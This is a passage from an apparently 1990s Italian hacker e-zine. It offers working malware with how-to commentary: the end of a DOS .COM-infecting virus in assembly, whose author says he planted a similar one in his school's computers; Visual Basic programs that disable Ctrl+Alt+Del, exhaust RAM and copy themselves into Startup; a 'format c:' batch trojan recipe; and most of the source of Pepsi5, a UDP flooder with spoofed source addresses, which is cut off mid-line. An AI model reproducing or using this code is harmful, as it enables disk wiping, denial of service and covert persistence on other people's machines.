lea dx,[bp+offset virus] ;indirizzo di inizio
mov ah,40h ;scrivo il virus
int 21h

closefile:
mov ax,5701h ;ripristina ora e data
mov dx,word ptr [bp+dta+18h]
mov cx,word ptr [bp+dta+16h] ;sono ne DTA!!
int 21h

mov ah,3eh ;chiudo il file
int 21h

xor cx,cx
mov cl,byte ptr [bp+dta+15h] ;Prendo i vecchi attrib.
call attributes

retn

move_fp:
;muove il puntatore
xor cx,cx ;del file ad al
xor dx,dx ;
mov ah,42h
int 21h
retn

open:

lea dx,[bp+DTA+30] ;il nome Š nel DTA
mov ah,3dh ;apre il file
int 21h
xchg ax,bx ;bx contine l'handle
ret

disp: lodsb ;Carico il carattere
or al,al ;Se Š 0 Š finita
je cont
int 010h ;visualizzo il car
jmp short disp ;prendo il prox carattere
cont: ret

Questions:

lea si,[bp+offset Domande]
mov di,-1

More: inc di
cmp byte ptr [si],'$'
je CntP
mov ah,0Eh
call disp
mov ah,0
Car: int 16h
cmp al,byte ptr offset [bp+offset Risposte+di]
je More
jmp Reset
CntP: ret

attributes:

lea dx,[bp+DTA+30]
mov ax,4301h ; setta gli attrib.
int 21h
ret

Intro db 13,10,13,10,"Ciao, il tuo computer Š del gatto !!! !!!",13,10,13,10,"Ora, le cose stanno cos : ho deciso di prendere il controllo del tuo computer, ma se risponderai bene potrai avviare il programma",13,10,0
Intro2 db 13,10,"A proposito, non tentare di spengere la tua carcassa, altrimenti mi arrabbio.",13,10,"L'argomento di oggi Š : Scienze Ambientali !!!!!",13,10,"So che sei preparato",13,10," Cominciamo...",13,10,0

Domande db 13,10,10,"Linux Š il miglior sistema operativo ? ",0
db 13,10,"Sostieni i NewBies ? ",0
db 13,10,"Quanto sono bravi(0-9) ? ",0
db 13,10,"Toglierai Windows ? ",0,'$'
Risposte db "SS9S"

comfilespec db '*.com',0 ;file da cercare
oldjump db 090h,0CDh,020h ;Vecchio jump
noinfex db "COMMAND.COM"
WinDir db "\windows",0

eof equ $ ;Segna la fine del file

buffer db 1Ah dup(?)
dta db 42 dup(?)

code ends
end start

Ecco fatto!!!! Il virus Š abbastanza banale, ma Š necessaria la spiegazione
di alcune cose.
All'inizio viene dichiarato il segmento di memoria del Rombios dove al 0FFF0
c'Š una label su cui poter fare un jmp per risettare il computer.
Poi c'Š "db 0Eh,0,0" che Š un'espressione in opcode esadecimali che indica un
salto di tre bytes lasciandoli liberi poi due, perci• salta alla prossima
istruzione che esegue una call a l'istruzione seguente.
Queste tre istruzioni che vengono adesso sono molto importanti, perch‚
determinano l'offset dinamico delle variabili del programma.
Push bp -------> estrae dallo stack il puntatore di base
sub bp,offset Inizio --> fa s che bp punti all'inizio del virus
Perci• ora posso conoscere gli offset di tutte le mie variabili usando
LEA (load effettive address) facendogli conoscere l'offset dell'offset che
deve caricare.
In poche parole si user… lea reg16,[bp+offset var]. Ecco fatto!!!
Poi viene attivato il caps-lock per far in modo che ogni lettera della
tastiera inserita dall'utente sia maiuscola.
Perci• queste istrz sono una vera stronzata. Comunque effettuano un or tra
lo status flag1 della tastiera con il bit 6(Quello appunt del caps).
Le altre istruzioni si spieganop da se perchŠ sono tutte movs.
Poi l'int 21h serv. 1Ah setta il nuovo dta, una struttura lunga alcuni bytes
che contiene varie informazioni utili per findfirst/next che atrimenti
sovrascriverebbero il paramentri opzionali del pgm. Questo stramaladettissimo
DTA risiede nel PSP mi sembra all'offset 80h.
Comunque andatevelo a guardare da qualche altra parte, come nella interr.
list di Ralph Brown.
Poi viene cambiata la directori corrente con quella di windows.
Poi chiama la parte replicante del viruz che trova il primo file com e se
il nome del file Š quello del command.com nol lo infetta perchŠ il computer
altrimenti crasherebbe.
Altrimenti cerca se Š gia infetto. Per vederelo viene comparata la dimensione
del file con quella del file stesso prima del salto+3 bytes iniziali+la
dimensione effettiva del viruz.Perci• se Š gi… infetto ne trova un'altro,
altrimenti precede.
Perci• scrive i primi tre bytes facendo in modo che all'esecuzione del file,
il controllo passi al virus, e salva i primi tre bytes originali in oldjmp.
Perci• scrive il virus nella parte finale del pgm e ripristina gli attributi.
Il replicatore Š cos fatto. Questa parte , anche se per un virer fonda-
mentale ed altres importante, si pu• considerare la parte pi— noiosa.
Ora infatti c'Š la parte pi— divertente in cui potete mettere tutta la
fantasia che volete. Si tratta della bomb ovvero l'effetto del virus in se
per se.
Ripeto che questa parte non dovrebbe eseere tanto distruttiva, a meno che
il destinatario non sia qualcunio che odiate tanto e che si merita una
lezione.
Perci• con l'int 10h serv. 0Eh visualizzo la stringa dove mi presento e dove
dico stronzate varie. Poi pongo delle domande all'utente e lo costringo a
rispondere bene ed andare anche contro la sua logica se vuole avviare il
suo Windoze.
Se le risposte sono esatte lo pu• avviare. Altrimenti il sistema si riavvier…
Ripeto che questo viruz Š molto banale, compreso il suo effetto, ma Š un
buon soggetto di partenza per coloro che vogliono studiare l'arte del viring.
Io per vendetta ne ho introdotto uno simile nei computer della scuola, perchŠ
i docenti non ne capiscono un kaxxo di computer e perchŠ ci sono una trentina
di computer e non ce li fanno usare. E poi alzano la tasse scolastiche!!!!!!!
Che spreco???!!??.
Ok, Š molto probabile che non ci avrete capito una fava, per• esercitatevi
specialmente con l'assembler.... magari ne scriver• un tutorial pi— in qua.
Enjoy your hacking/cracking/phreaking/viriing

Alla prossima...... ++++++Caos83++++++

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

###########################################################
##### DABATCHA PRESENTS: VBASIC DAFT-PROGRAMMING ##########
###########################################################


CONSUMO: Niente, ho scritto questo ridicolo articolo in troppo poco tempo per
avere anche il tempo di dare un morso a qualcosa.
MUSICA: Low man's lyric (Metallica)

ATTENZIONE, QUESTO E' UN DISCLAIMER!!!
Non mi rirtengo assolutamente responsabile dell'uso che farete dei programmi
qui di seguito spiegati... pertanto, fateci quello che cazzo vi pare e non mi
rompete i cosiddetti.

PREMESSA:
Entrambi i programmi che mi accingo a spiegarvi sono inutili, stupidi, poco
dannosi e assurdamente semplici da creare, ma siccome questa e' una rivista
per new-bies dovete essere contenti come inizio...

PROGRAMMA N.1: MANGIARAM (scaricabile dal mio sito)
LIVELLO DIFFICOLTA' DA 1 A 10: 1

Ok, questo programma e' il piu' stupido tra i due, quindi vediamo di non
perderci troppo tempo...
Aprite una form e settate la proprieta' visible su false, poi scrivete queste
poche righe in un modulo bas...

Public Declare Function SystemParametersInfo Lib "user32" _
Alias "SystemParametersInfoA" (ByVal uAction As Long, _
ByVal uParam As Long, lpvParam As Any, _
ByVal fuWinIni As Long) As Long
Public Const SPI_SCREENSAVERRUNNING = 97

Dopodiche' scrivete questo nelle dichiarazioni della form:

Sub HotKeyEnabled (X As Boolean)
Dim ret As Integer
Dim pOld As Boolean
x = Not X
ret = SystemParametersInfo(SPI_SCREENSAVERRUNNING, X, pOld, 0)
End Sub

Arrivati a questo punto nella sub form_load() scrivete questo:

HotKeyEnabled False

A COSA CI E' SERVITO TUTTO CIO'?
Questa parte, che in realta' e' la piu' complicata , serve a far si' che
l'utilizzatore del programma non possa chiudere quest'ultimo con un CTRL+ALT+CANC.
(La routine serve infatti a disabilitare le hot-keys di winzozz 95/98/00)

Arrivati a questo punto scrivete, sempre nella sub form_load queste righette...

10
ReturnValue = Shell("c:\windows\calc.exe", 1)
AppActivate ReturnValue
GOTO 10

Fine del primo programmino stupido.

A COSA SERVE? (o meglio, cosa fa?)
Beh, penso che non servano molte spiegazioni, la routine e' piu' che lamer...
comunque il succo e' questo:
Una volta avviato, il programma comincia ad aprire calcolatrici finche' non
finisce la RAM. Se l'utente chiude qualche calcolatrice, si libera un po' di
RAM, ma siccome il MANGIARAM e' sempre attivo, utilizza la RAM riacquistata
per aprire ancora calcolatrici ed esaurirla di nuovo (ovviamente potete far
aprire il programma che vi pare).

COSA ABBIAMO IMPARATO?
Bah, poco o nulla; se non sapevate gia' farlo ora sapete come disabilitare le
hot-keys e avviare un programma...

PROGRAMMA N.2 COPYYYYYYY (scaricabile dal mio sito)
LIVELLO DIFFICOLTA' DA 1 A 10: 2

Questo programma e' leggermente piu' complicato del precedente, ma e' comunque
lamerissimo, quindi non voglio perdere molto tempo neanche per questo... (non
vi preoccupate, se mi permetteranno di fare un altro articolo per questa
rivista scrivero' qualcosa di piu' complesso, ma oggi avevo da stuiare e quindi
poco tempo)

Tanto per cominciare settate la proprieta' "visible" su false e disabilitate
le hot-keys come abbiamo fatto prima...
Fatto questo nella sub form_terminate() scrivete questa riga:
FileCopy "nomedatoaquestoprogramma.exe","c:\windows\menu avvio\programmi\esecuzione
automatica\nomedatoaquestoprogramma.exe"


A COSA CI E' SERVITO TUTTO CIO'?
Abbiamo copiato il programma in esecuzione automatica... (non l'avreste
sospettato eh?)

Adesso aprite un timer, settate il valore "interval" su 1 e scrivete:

Private Sub Timer1_Timer()
Randomize Timer
Dim dove
dove = Int(Rnd * 3 + 1)
a = "c:\command.com"
c = "win" & Int((Rnd * 999999999) + 1)
If dove = 1 Then d = "c:\"
If dove = 2 Then d = "c:\windows\"
If dove = 3 Then d = "c:\windows\system\"
e = d & c & ".dll"
FileCopy a, e
End Sub

Fine del secondo programmino stupido.

A COSA SERVE? (o meglio, cosa fa?)
E' facile...una volta avviato il programma prende il file command.com (ma
potete scegliere quello che volete) e inizia a copiarlo a caso in una delle
directory sopra scritte (potete scegliere altre cartelle, potete sceglierne
di piu', basta cambiare i valori. Potete anche fare scegliere a l programma
ogni volta una directory a caso nell'HD, ma vi spieghero' un'altra volta come
si fa) con un altro nome e l'estensione dll. (Non si sa mai...un lamer magari
ha paura di cancellare una dll il cui nome inizia con "win")
Il programma si nota poco (tranne per la lentezza che portera' alla macchina)
e si avviera' ad ogni riavvio del computer.

COSA ABBIAMO IMPARATO?
Abbiamo ripassato come disabilitare gli hot-keys e abbiamo imprato (per chi
non sapeva gia' farlo) a copiare un file e a creare un numero a caso (se non
sapevate gia' fare questa cosa........andatevene!)

CONCLUSIONE:
Ok, io ho finito. Spero che N0bodY88 non si offenda per la magrezza dell'articolo,
ma faro' di meglio in futuro (quando magari faro' un articolo sul batch)
Spero (ma non credo assolutamente) di esservi stato d'aiuto nel vostro apprendimento
del VisualBasc e vi saluto.

CIOBA!

~ÑaBat½ha.

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ TIPI DI VIRUS ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Salve a tutti, sono sempre Quequero ed ora vi parlero' dei virus.
Sicuramente tutti conoscerete i virus, ma sicuramente pochi di voi ne conoscono
effettivamente il modo do agire oppure la struttura ed e' proprio questo che mi
accingo ad insegnarvi.
Esistono essenzialmente tre famiglie di virus che poi si dividono in tanti altri
sottogruppi, esaminiamo prima le grandi famiglie:

Worms
Trojan
Virus

Iniziero' col parlarvi dei Worms e poi mi addentrero' nella descrizione dei virus
veri e propri dal momento che richiede piu' tempo ed e' una faccenda un po' piu'
complessa.

Worms

Il primo Worm fu creato intorno agli anni '80 da Robert Morris, un giovane che
ebbe la brillante idea di creare un virus non dannoso, ma che si riproduceva
via Internet, ebbene si, usava un bug indovinate di quale programma? Ovviamente
del Sendmail, molti computer andarono in tilt per l'immane riproduzione del
verme, in pratica a quel tempo tutti avevano almeno 10-12 vermi in casa, anche
i non pescatori ;))))
Su Internet si puo' trovare facilmente il codice sorgente del vermone, ho sentito
dire che e' stato inserito un errore nel codice per non farlo compilare, se e'
vero non lo so.
Tutt'oggi non esistono vermi noti poiche' con le nuove versioni del sendmail
sono stati corretti i bug che ne permettevano la proliferazione, oggi questo
ignobile programma e' perfetto quasi al 100% l'unico problema (di importanza
praticamente nulla) e' che possiamo ottenere il "root" su un sistema di rete
semplicemente mandando una mail ;)))
Si sa che questi programmatori tolgono un bug e ne creano 20, bho!!!
Anche se non ve ne freghera' assolutamente nulla, vi dico che ho uno zio Italiano
ma che vive in Finlandia che contribuisce tuttora allo sviluppo di Linux e del
software ad essi necessario, quindi guai a parlar male dei loro prodotti ;)))
Dicevamo che vermi noti non ce ne sono, pero' con l'avvento di Linux credo che
questo fenomeno crescera'.

Trojan

I trojan, o meglio Trojan Horse (cavalli di Troia) sono stati (a quanto ne so')
la prima forma di virus esistente, dovrebbero essere stati creati la prima volta
in Russia da un team di programmatori, i trojan sono dei programmi che non hanno
alcuna intenzione di duplicarsi ma servono solo a fare danni in un computer,
anche le bombe logiche sono dei trojan, solo che si attivano in un determinato
periodo. Un ottimo esempio di trojan e' il NetBus o il Back Orifice, ma anche
noi possiamo creare un trojan facendo un file batch, scrivendoci dentro:

format c: /autotest

e convertendolo con il Bat2Com.
Se poi lo vogliamo rendere invisibile bastera' criptarlo a compattarlo (petite.exe,
pklite.exe ecc..).
Il nome cavallo di Troia e' dato dal fatto che vengono spesso diffusi come altri
programmi.

Viruzzzz

I virus si differiscono dai Trojan per il fatto che tendono a restare nascosti
ed a riprodursi il piu' possibile.
In genere un virus e' scritto in Assembly, il codice usato e' molto compatto e
veloce, a questo proposito vi riporto un breve "saggio" nel quale si cerca di
distinguere Winzoz da un Viruzzz (l'ho trovato in rete non so' dove):


Windows e' un virus ???

Nooo Win non e' un virus. Questo e' cio' che fanno i virus...: Si replicano
velocemente.. O.K.
Win fa' questo come i Virus.....
Il virus usa tutte le risorse di sistema, rallentando il sistema come ultimo.
Percio' O.k. Win fa cio'.
Un virus di tanto in tanto riduce in spazzatura il tuo HD, O.K. anche Win lo fa.
I virus sono di norma portati all'insaputa dell'utente in tutti i programmi
principali..... Sigh!!!
Anche Win lo fa.
Un virus fa venire il sospetto di esserci poiche' il sistema diventa troppo
lento... e fa venire la voglia di comperare nuovo Hardware. Oddio vale anche
per Win.
Sino ad ora tutto fa sembrare che Win sia un virus.... ma ci sono alcune
differenze fondamentali:
I virus sono ben supportati dall'autore, Funzionano su ogni tipo di sistema...
il loro codice programma e' estremamente veloce, compatto ed efficiente, e
tendono a diventare sempre piu' sofisticati con l'andare della loro evoluzione....

Percio' Windows [ NON ] e' un virus....
Ok andiamo ora ad esaminare i vari tipi di viruz:


Sector (Master Boot Record / Floppy Boot Record):

Questo tipo di virus e' stato uno dei primi, attaccano il settore di avvio
degli H.D.D. oppure dei floppy, per togliere questi virus, spesso basta
scrivere al prompt del DOS:

fdsik /mbr

questo comando ripulisce il Master Boot Record, non utilizzatelo assolutamente
se avete installato un Boot Loader (lilo, loadlin, syslinux, boot manager ecc..)
altrimenti verra' cancellato.
Questi viruz erano dannosi una volta quando avevamo bisogno del "disco di
supplemento"
per avviare il dos, oggi non fanno quasi piu' nulla a meno che
non accendiamo il pc con un dischetto infetto dentro e nel BIOS abbiamo
settato l'opzione che cerca un floppy all'avvio, se ci sono queste condizioni
allora sono kazzi.

Macro

Virus di nuova concezione scritti in Visual Basic, possono essere inseriti
nelle macro del lotus, word e di altri programmi, se apriamo il file senza
avviare la macro non succede nulla, ma se non lo facciamo rischiamo di
riportare danni (si parte dalla semplice impossibilita' di salvare un documento
alla formattazione del disco duro).
I macro virus sono sempre di piu', ma per sconfiggerli basta solo non attivare
le macro ;))))

File

Questi si dividono in Residenti e Non-Residenti:
Residenti: Una volta avviato il programma sul quale era ospite rimane attivo
per sempre.
Non-Residente: Smette di funzionate quando viene chiuso il programma ospite.
Questo tipo di viruz una volta avviato apre a caso dei file e copia dentro di
loro la routine di infezione (i virus hanno questo nome proprio perche' si
comportano come quelli esistenti in natura, cioe', entrano in una cellula (il
file) attaccano il loro DNA (la routine di infezione) al DNA della cellula
(il codice del programma) la cellula continua a funzionare normalmente solo
che altera qualche sua funzione e poi muore per lisi (esplosione))

MultiPartito

Questi si comportano sia come i Sector virus (o boot virus) sia come i File
viruz, in pratica si attaccano come le piattole al boot e quando vengono
caricati attaccano i vari altri file del sistema, i floppy, gli eseguibili
del dos ecc..Un esempio e' sicuramente il mitico Junkie.1027

Cluster (File System viruses)

Secondo me questi sono i tipi di viruz piu' "belli", questi modificano la
tabella dei contenuti sull'Hard Disk in modo da far avviare prima il virus e
poi il software.

Stealth

I viruz stealth sono estremamente raffinati, prendono il controllo totale del
sistema operativo e di alcune sue funzioni, alterano alcune cose (come ad
esempio si copiano su un floppy insieme a cio' che volevano copiarci noi,
oppure infettano un file mentre noi lo apriamo ecc..) senza che nessuno se ne
possa accorgere e, dal momento che sono invisibili vengono detti "stealth"

Polymorphic

Il Junkie.1027 oltre ad essere multi partito e' anche Polimorfico cioe', cripta
in modo casuale il suo codice ogni volta che deve infettare un file, se
confrontiamo un decina di file infettati col Junkie.1027 potremo vedere che
sono tutti diversi, appunto per il suo polimorfismo, nonostante tutto questi
viruz possono essere rilevati perche' il loro motore di cifratura e' sempre piu'
o meno uguale, ecco quello del suddetto Junki.1027

0001: BE0800 MOV SI,0008
0002: B9F401 MOV CX,01F4
0003: 26 ES:
0004: 8134BC2E XOR WORD PTR [SI],2EBC
0005: 46 INC SI
0006: 46 INC SI
0007: E2F7 LOOP $0001

Se infettiamo 10 file di 1 byte con il junkie.1027 vedremmo la loro diversita'
(aprendo un file con un editor esadecimale) tranne che per alcuni byte, questi
byte possono ancora essere cambiati semplicemente facendo inserire dal junkie.1027
istruzioni inutili come:

JMP sulla riga seguente
JNZ idem
INC bx \
DEC bx /insieme incrementa e decrementa un registro
ADD bx,0000 aggiunge 0 ad un registro
MOV AL,AL muove il valore di AL in se stesso
Ecc...

Companion

I virus "compagnoni" ;) sfruttano uno dei tanti buchetti della Microsoft, cioe'
facciamo una cartella a mettiamo dentro un file che si chiama Dio.com (che per
esempio crea un'altra cartella) ed un file che si chiama Dio.exe (che magari
crea una cartella con un altro nome) adesso andiamo al dos e scriviamo "Dio"
quale dei due verra' eseguito?
Sicuramente Dio.com dal momento che il dos da' la priorita' a questo tipo di
estensione.
Un virus companion non fa altro che creare un file con lo stesso nome dell'altro
ma con estenione .com e poi nasconde il .exe
Capitooooooooo????

Armored

Questi sono viruz che hanno delle istruzioni anti-debug e anti-disassemble,
rendono difficile la loro analizzazione, percio' come si puo' fare un antivirus
con per un virus che non possiamo analizzare? Se po' fa se po' fa, date il
viruz a un cracker e lui lo analizzera' per voi (avete sentito Symantec e
McAfee? A-SSU-ME-TE-CI !!!!!!)

Criptati

Sono simili ai polimorfici ma e' piu' facile trovare due file simili tra loro.

Clean on the fly

Fantastici virus, riescono ad intercettare le funzioni di lettura di un file,
in questo modo il viruz si autocancella dal file quando questo viene letto e
si autoreinfetta quando viene richiuso, questi viruz se perfezionati potrebbero
raggiungere livelli di invisibilita' altissimi.

MBR stealth

Uguali ai precedenti tranne per il fatto che infettano l'MBR tenendone un
backup e quando un anti-virus cerca di leggerlo il viruz rimette l'MBR vecchio
e poi reinfetta tutto dopo la lettura.

Size Hiding

Niente di particolare, questi viruz non fanno rilevare l'aumento di byte al
l'interno dei file.
Facciamo un esempio, il virus Quequero infetta N file e aggiunge ad ognuno di
questi 5 byte, l'antivirus potrebbe tranquillamente considerare questo aumento
come sospettoso e lo segnalerebbe, il programmatore puo' fare in modo di
intercettare il controllo della grandezza e potrebbe facilmente sottrargli 5
byte, quasi tutti i virus piu' sofisticati hanno questa funzionalita' oltre ad
avere un buon polimorfismo e simili ;))

Overwriting Viruz

Supponiamo di avere un virus di questo tipo che si chiama "Plauto", avviamo
questo virus ed aspettiamo due ore, controlliamo i file e non vediamo nulla
di sospetto, tranne per il fatto che Plauto si e' copiato nel sistema, ha
cancellato molti file e si e' rinominato come ognuno di loro ;)))))

Bhe' credo di averli elencati quasi tutti, dovrebbero bastare, se avete
bisogno di viruz cercate su Astalavista la parola Virii oppure venite sul mio
sito ;)))

e-mail: Balckfireshell@hotmail.com
sito: http://quequero.cjb.net

NOTA DI N0bodY88 = non so se vi interessa ma nel nostro gruppo c'e' il creatore
del virus Junkie.1027 di cui ha parlato Quequero, vediamo se
indovinate chi e' ;) PS: complimenti agli scrittori della
sezione VIRUS della ns e-zine che ripeto non e' fatta da hacker
ma da smanettoni il cui interesse comune non e' distruggere
ma imparare, provare e studiare (xche' no eheheh) ciauz ^_^

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
NOTA DI N0bodY88 = il prox art. non so credo rientri nella sezione virus ma
come i virus parla di qualcosa che serve x dominare!!!
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

°°°°°°°°°°°°°±±±±±±±±±±±±²²²²²²²²²²²²²²
°°Pepsi5:°pacchetti±udp±a²tradimento²²²
°°°°°°°°°°°°°±±±±±±±±±±±±²²²²²²²²²²²²²²

Questo Pepsi5 e' un simpatico floodatore UDP che, usato da una connessione
veloce, permette di laggare o addirittura disconnettere un utente. Funziona
da Linux, se volete qualcosa per wincazz ce n'e' un casino in giro,
ed e' stato scaricato da...non mi ricordo, cmq vi rimango la versione
originale.

-------------------------Taglia qui-----------------------------------------


/***
*** Pepsi 5.0g by SoulBlaze@hotmail.com (BlackICE) [11|12|98]
*** based on the original pepsi.c code by Soldier
*** Additional Help by Silicate (chuckstalker),
*** LWR, and tq.
*** Beta Testing by Sleak and eclipze.
***
*** This Code is designed to compile and run on Linux, this code
*** is for inhouse testing only and the authors are not responsible
*** for any use/misuse of it.
***
*** Greetz to : MostHated, diesl0w, FEENiX, TerrorByt, totempole,
*** aeonflux, AciDpHuck, wait3r, [z], the gH crew and
*** friends.
*** Screw yous: pwr, your lameness is only surpassed by your
*** stupidity, (Hamilton, ON is that far away from me
*** man).
***
*** ...Tred carefully .. you address not the storm .. but the force
*** that binds it...
***
***/


/*----------------- [Defines] */
#define Port_Max 65534
#define Packet_Max 1023
#define Frequency_Max 300
#define Default_Fork 0
#define Default_Stealth "(nfsiod)"
/* Color Pallete ------------ */
#define B "\033[1;30m"
#define R "\033[1;31m"
#define G "\033[1;32m"
#define Y "\033[1;33m"
#define U "\033[1;34m"
#define M "\033[1;35m"
#define C "\033[1;36m"
#define W "\033[1;37m"
#define DR "\033[0;31m"
#define DG "\033[0;32m"
#define DY "\033[0;33m"
#define DU "\033[0;34m"
#define DM "\033[0;35m"
#define DC "\033[0;36m"
#define DW "\033[0;37m"
#define RESTORE "\33[0;0m"
#define CLEAR "\033[0;0H\033[J"
/* --------------- [Includes] */
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/protocols.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <signal.h>
#include <netinet/ip_udp.h>
#include <string.h>
#include <pwd.h>
#include <time.h>

/* [Banner] */

void banner()
{
printf("%s",CLEAR);
printf("\n\n%sPepsi %s5%s.%s0g %sby SoulBlaze%s@%sundernet %s(%sBlackICE%s) %s[%s11%s|%s12%s|%s98%s]%s\n",R,W,B,W,U,G,U,B,DW,B,DC,DY,DC,DY,DC,DY,DC,RESTORE);
printf("%sBased on the Original %spepsi%s.%sc %scode by %sSoldier%s\n",DU,R,B,R,DU,W,RESTORE);
printf("%sAdditional Help by %sChuckStalker%s,\n",DU,W,RESTORE);
printf("%sLWR%s, and %stq%s.\n",W,DU,W,RESTORE);

}



/* [Option Parsing] */

struct sockaddr_in dstaddr;

unsigned long dst;

struct udphdr *udp;
struct iphdr *ip;

char *target;
char *srchost;
char *stealth;

int dstport = 0;
int srcport = 0;
int numpacks = 0;
int psize = 0;
int wait = 0;
int forknum = 0;

/* [Usage] */

void usage(char *pname)
{
printf("\n\n%sUsage%s %s: %s[%sarguements%s] %s<%sTarget Ip%s>%s\n\n",DG,R,pname,DM,U,DM,DM,U,DM,RESTORE);
printf("%sOption Description Default Value\n\n",W,RESTORE);
printf("%s-%ss %s<%sSource IP %s> %s: %sPacket Origin %s[%s Random %s ] \n",DR,DU,W,DC,W,DW,B,W,DC,W,RESTORE);
printf("%s-%sn %s<%sPacket Num %s> %s: %sLimit of Sent Datagrams %s[%s Unlimited %s ] \n",DR,DU,W,DC,W,DW,B,W,DC,W,RESTORE);
printf("%s-%sp %s<%sPacket Size%s> %s: %sDatagram Size %s[%s 1 - %d bytes%s ] \n",DR,DU,W,DC,W,DW,B,W,DC,Packet_Max,W,RESTORE);
printf("%s-%sd %s<%sTarget Port%s> %s: %sDestination Port %s[%s Random %s ] \n",DR,DU,W,DC,W,DW,B,W,DC,W,RESTORE);
printf("%s-%so %s<%sSource Port%s> %s: %sSource Port %s[%s Random %s ] \n",DR,DU,W,DC,W,DW,B,W,DC,W,RESTORE);
printf("%s-%sw %s<%sFrequency %s> %s: %sDelay Between Each Packet %s[%s 0 - %d ms%s ] \n",DR,DU,W,DC,W,DW,B,W,DC,Frequency_Max,W,RESTORE);
printf("%s-%sf %s<%sFork Number%s> %s: %sNo. of Times Backgrounded %s[%s 0 Times %s ]%s \n",DR,DU,W,DC,W,DW,B,W,DC,W,RESTORE);
printf("%s-%sx %s<%sStealth %s> %s: %sMask Process As %s[%s %s %s]%s",DR,DU,W,DC,W,DW,B,W,DC,Default_Stealth,W,RESTORE);
printf("\n\n");
exit(EXIT_SUCCESS);
}

/* [In chksum with some mods] */

unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;

while (nleft > 1) {
sum += *w++;
sum += *w++;
nleft -= 2;
}

if (nleft == 1) {
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 17) + (sum & 0xffff);
sum += (sum >> 17);
answer = -sum;
return (answer);
}

/* Resolve Functions */

unsigned long resolve(char *cp)
{
struct hostent *hp;

hp = gethostbyname(cp);
if (!hp) {
printf("[*] Unable to resolve %s\t\n", cp);
exit(EXIT_FAILURE);
}
return ((unsigned long) hp->h_addr);
}

void resolvedest(void)
{
struct hostent *host;

memset(&dstaddr, 0, sizeof(struct sockaddr_in));
dstaddr.sin_family = AF_INET;
dstaddr.sin_addr.s_addr = inet_addr(target);
if (dstaddr.sin_addr.s_addr == -1) {
host = gethostbyname(target);
if (host == NULL) {
printf("[*] Unable To resolve %s\t\n", target);
exit(EXIT_FAILURE);
}
dstaddr.sin_family = host->h_addrtype;
memcpy((caddr_t) & dstaddr.sin_addr, host->h_addr, host->h_length);
}
memcpy(&dst, (char *) &dstaddr.sin_addr.s_addr, 4);
}

/* Parsing Argz */

void parse_args(int argc, char *argv[])
{
int opt;

while ((opt = getopt(argc, argv, "x:s:d:n:p:w:o:f:")) != -1)
switch (opt) {
case 's':
srchost = (char *) malloc(strlen(optarg) + 1);
strcpy(srchost, optarg);
break;
case 'x':
stealth = (char *) malloc(strlen(optarg));
strcpy(stealth, optarg);
break;
case 'd':
dstport = atoi(optarg);
break;
case 'n':
numpacks = atoi(optarg);
break;
case 'p':
psize = atoi(optarg);
break;
case 'w':
wait = atoi(optarg);
break;
case 'o':
srcport = atoi(optarg);
break;
case 'f':
forknum = atoi(optarg);
break;
default:
usage(argv[0]);
}
if (!stealth)
stealth = Default_Stealth;
if (!forknum)
forknum = Default_Fork;
if (!argv[optind]) {
printf("\n\n%s[%s*%s]%s Bzzzt .. We need a Place for the Packets to Go%s\n",DC,W,DC,DR,RESTORE);
exit(EXIT_FAILURE);
}
target = (char *) malloc(strlen(argv[optind]));
if (!target) {
printf("\n\n%s[%s*%s]%s Unable to Allocate Required Amount of Memory for Task%s\n",DC,W,DC,DR,RESTORE);
perror("malloc");
exit(EXIT_FAILURE);
}
strcpy(target, argv[optind]);
}

int cloaking(int argc, char *argv[])
{
int x;

for (x = argc-1; x >= 0; x--)

memset(argv[x], 0, strlen(argv[x]));
strcpy(argv[0],stealth);

return(0);
}
/* [Send Packet] */

void main(int argc, char *argv[])
{
int q, xx, sen, i, unlim = 0, sec_check;
char *packet;

banner();

if (argc < 2)
usage(argv[0]);


parse_args(argc, argv);

cloaking(argc, argv);

resolvedest();

printf("\n\n%s [%s*%s]%s Target Host%s :%s %s%s\n",DC,W,DC,DR,DC,DW,target,RESTORE);
if (!srchost)
printf("%s [%s*%s]%s Source Host%s :%s Random%s\n",DC,W,DC,DR,DC,DW,RESTORE);
else
printf("%s [%s*%s]%s Source Host%s :%s %s %s\n",DC,W,DC,DR,DC,DW,srchost,RESTORE);
if (!numpacks)
printf("%s [%s*%s]%s Number%s

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
